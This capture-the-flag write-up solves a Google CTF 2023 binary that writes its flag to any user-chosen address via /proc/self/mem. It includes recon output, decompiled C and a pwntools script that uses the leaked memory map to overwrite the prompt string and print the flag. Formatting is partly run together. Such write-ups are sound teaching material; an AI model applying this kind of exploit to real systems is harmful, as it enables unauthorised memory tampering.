### Description>In order to solve it will take skills of your own>An excellent primitive you get for free>Choose an address and I will write what I see>But the author is cursed or perhaps it's just out of spite>For the flag that you seek is the thing you will write>ASLR isn't the challenge so I'll tell you what>I'll give you my mappings so that you'll have a shot.
## ReconFirst use `pwninit` to patch the binary with local libc (the supplied `libc.so.6` wasn't enough, I had to copy `ld-linux-x86-64.so.2` from a local backup of `GLIBC_2.34`, which is pretty standard for CTFs these days).```bashldd chal 	linux-vdso.so.1 (0x00007fff98fb4000)	libc.so.6 => ./libc.so.6 (0x00007f1de5200000)	/lib64/ld-linux-x86-64.so.2 (0x00007f1de557b000)```
`file` shows the binary isn't stripped, which will make [[#Static Analysis]] easier.```bashfile chal chal: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=325b22ba12d76ae327d8eb123e929cece1743e1e, not stripped```
Check binary protections with `checksec`.```bashchecksec --file chal [*] '/home/crystal/Desktop/chall/chal'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      PIE enabled    RUNPATH:  b'.'```
So, we don't need to worry about canaries, but we can't execute shellcode on the stack. Furthermore, PIE is enabled, so addresses won't be fixed.
Running the binary prints `flag.txt not found`.
After creating flag.txt, the binary exits immediately, with no output.
We could use `ltrace` to get a better understanding of what's happening.```bashltrace /home/crystal/Desktop/chall/chal open("/proc/self/maps", 0, 02371265710)                                 = 3read(3, "560bf9f7a000-560bf9f7b000 r--p 0"..., 4096)                    = 2189close(3)                                                                = 0open("./flag.txt", 0, 010000)                                           = 3read(3, "FLAGFLAGFLAG\n", 128)                                          = 13close(3)                                                                = 0dup2(1, 1337)                                                           = -1open("/dev/null", 2, 0200)                                              = 3dup2(3, 0)                                                              = 0dup2(3, 1)                                                              = 1dup2(3, 2)                                                              = 2close(3)                                                                = 0alarm(60)                                                               = 0dprintf(0xffffffff, 0x560bf9f7c050, 0x560bf9f7c050, 0x7f75104ea5bb)     = 0xffffffffdprintf(0xffffffff, 0x560bf9f7c1d6, 0x560bf9f7e0a0, 0x560bf9f7c1d6)     = 0xffffffffdprintf(0xffffffff, 0x560bf9f7c1e0, 0x560bf9f7c1e0, 0x7ffc13e56750)     = 0xffffffffread(-1 <no return ...>error: maximum array length seems negative, "", 64)                                                               = -1__isoc99_sscanf(0x7ffc13e56a30, 0x560bf9f7c297, 0x7ffc13e56a80, 0x7ffc13e56a7c) = 0xffffffffexit(0 <no return ...>+++ exited (status 0) +++```
OK, so the program..- reads 4096 bytes from `/proc/self/maps` into file descriptor (`fd`) 3- reads the flag into `fd` 3- tries to duplicate `fd` 1 to 1337- opens `/dev/null` as `fd` 3- tries to duplicate `fd` 3 to 0 (`stdin`)- tries to duplicate `fd` 3 to (`stdout`)- tries to duplicate `fd` 3 to 2 (`stderr`)- 3 x `dprintf` calls (print format string), but use an invalid `fd` of -1
`dprintf` is similar to `printf`, but it allows you to specify a `file descriptor` as the output stream. It writes the formatted output to the specified file descriptor instead of the standard output.
I guess it's time to take a look at the code! Let's open it in `ghidra` ?
## Static AnalysisI pasted the `main()` function into chatGPT and asked it to rename variables and make it more readable, here's what it gave me.```cint main(void){    int maps_fd;    char maps[0x1000];  // Buffer to store the contents of /proc/self/maps    int flag_fd;    char flag[0x80];    // Buffer to store the contents of flag.txt    ssize_t num_bytes;    int output_fd;    int null_fd;    int dup_result;    int mem_fd;    off64_t address;    uint length;    int scanf_result;     // Open and read the contents of /proc/self/maps    maps_fd = open("/proc/self/maps", 0);    num_bytes = read(maps_fd, maps, 4096);    close(maps_fd);     // Open and read the contents of flag.txt    flag_fd = open("./flag.txt", 0);    if (flag_fd == -1) {        puts("flag.txt not found");    } else {        num_bytes = read(flag_fd, flag, 128);        if (num_bytes > 0) {            close(flag_fd);             // Duplicate file descriptor 1 (stdout) to 0x539            dup_result = dup2(1, 1337);             // Open /dev/null for writing            null_fd = open("/dev/null", 2);             // Redirect stdin (0), stdout (1), and stderr (2) to /dev/null            dup2(null_fd, 0);            dup2(null_fd, 1);            dup2(null_fd, 2);            close(null_fd);             // Set an alarm for 60 seconds            alarm(60);             // Write some introductory text and the contents of /proc/self/maps to the output            dprintf(dup_result, "This challenge is not a classical pwn\n"                    "In order to solve it will take skills of your own\n"                    "An excellent primitive you get for free\n"                    "Choose an address and I will write what I see\n"                    "But the author is cursed or perhaps it's just out of spite\n"                    "For the flag that you seek is the thing you will write\n"                    "ASLR isn't the challenge so I'll tell you what\n"                    "I'll give you my mappings so that you'll have a shot.\n");            dprintf(dup_result, "%s\n\n", maps);             while (1) {                // Prompt the user for an address and length                dprintf(dup_result, "Give me an address and a length just so:\n"                        "<address> <length>\n"                        "And I'll write it wherever you want it to go.\n"                        "If an exit is all that you desire\n"                        "Send me nothing and I will happily expire\n");                 // Read the user's input                scanf_result = scanf("%llx %u", &address, &length);                 // Check if the input was successfully parsed                if (scanf_result != 2 || length > 128) {                    break;                }                 // Open /proc/self/mem for writing                mem_fd = open("/proc/self/mem", 2);                // Set the file position to the specified address                lseek64(mem_fd, address, 0);                // Write the contents of flag to the specified address                write(mem_fd, flag, length);                // Close /proc/self/mem                close(mem_fd);            }            // Exit the program            exit(0);        }        puts("flag.txt empty");    }    return 1;}```
We quickly realise the program *should* print some output. When connecting to the remote server, it does so as intended. A teammate later informed me of a fix for this `ulimit -n 1338` will increase the maximum number of open file descriptors for the current shell session to 1338 (remember, the program sets the output to `fd` 1337).
Anyway, the while loop at the bottom is interesting. It takes a user-supplied `address` and `length`, then reads the flag to that address.
What address might we choose to write the flag to? How about the string that is printed at the beginning of each loop?
```c                s_Give_me_an_address_and_a_lengt  XREF[2]: main:00101357(*),                                                            main:0010135e(*)  001021e0 47 69      ds      "Give me an address and a length        76 65         20 6d ```
It's in the `.data` section of the binary, at an offset of `0x21e0`.
The program has PIE enabled, so each time it's run, the binary will have a new base address.
We need to find the base, then add the offset. Luckily, running the program against the remote server will print out the memory mappings, e.g.```bashI'll give you my mappings so that you'll have a shot.55bae719b000-55bae719c000 r--p 00000000 00:11e 810424                    /home/user/chal55bae719c000-55bae719d000 r-xp 00001000 00:11e 810424                    /home/user/chal55bae719d000-55bae719e000 r--p 00002000 00:11e 810424                    /home/user/chal55bae719e000-55bae719f000 r--p 00002000 00:11e 810424                    /home/user/chal55bae719f000-55bae71a0000 rw-p 00003000 00:11e 810424                    /home/user/chal55bae71a0000-55bae71a1000 rw-p 00000000 00:00 0 7fdfc7618000-7fdfc761b000 rw-p 00000000 00:00 0 7fdfc761b000-7fdfc7643000 r--p 00000000 00:11e 811203                    /usr/lib/x86_64-linux-gnu/libc.so.67fdfc7643000-7fdfc77d8000 r-xp 00028000 00:11e 811203                    /usr/lib/x86_64-linux-gnu/libc.so.67fdfc77d8000-7fdfc7830000 r--p 001bd000 00:11e 811203                    /usr/lib/x86_64-linux-gnu/libc.so.67fdfc7830000-7fdfc7834000 r--p 00214000 00:11e 811203                    /usr/lib/x86_64-linux-gnu/libc.so.67fdfc7834000-7fdfc7836000 rw-p 00218000 00:11e 811203                    /usr/lib/x86_64-linux-gnu/libc.so.67fdfc7836000-7fdfc7843000 rw-p 00000000 00:00 0 7fdfc7845000-7fdfc7847000 rw-p 00000000 00:00 0 7fdfc7847000-7fdfc7849000 r--p 00000000 00:11e 811185                    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.27fdfc7849000-7fdfc7873000 r-xp 00002000 00:11e 811185                    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.27fdfc7873000-7fdfc787e000 r--p 0002c000 00:11e 811185                    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.27fdfc787f000-7fdfc7881000 r--p 00037000 00:11e 811185                    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.27fdfc7881000-7fdfc7883000 rw-p 00039000 00:11e 811185                    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.27ffd5fb05000-7ffd5fb26000 rw-p 00000000 00:00 0                          [stack]7ffd5fbe5000-7ffd5fbe9000 r--p 00000000 00:00 0                          [vvar]7ffd5fbe9000-7ffd5fbeb000 r-xp 00000000 00:00 0                          [vdso]ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]```
Therefore, we'll write a script to parse this response and calculate the correct address. We'll send that address when requested and the next time the loop executes, it will print the newly written data (?).
## Solve Script```pythonfrom pwn import *
io = remote('wfw1.2023.ctfcompetition.com',1337)context.log_level='info'
# Offset to the string in .data section, which is printed in while loopdata_string_offset = 0x21e0
# Find the piebasemaps = io.recvuntil(b'/home/user/chal')maps = maps.split(b'/home/user/chal')[0].split(b'\n')[-1]piebase = int(maps[:12], 16)pieend = int(maps[13:-48], 16)
info("Pie base: %#x", piebase)info("Pie end: %#x", pieend)io.recvuntil(b'expire\n')
# Send address of label in .data, it will be overwritten with flag# Then on the next iteration of the loop, it will printio.sendline(hex(piebase + data_string_offset).encode() + b' 127')
# Flag plzwarning(io.recv().decode())```
We run the script and get the flag.```jsonCTF{Y0ur_j0urn3y_is_0n1y_ju5t_b39innin9}```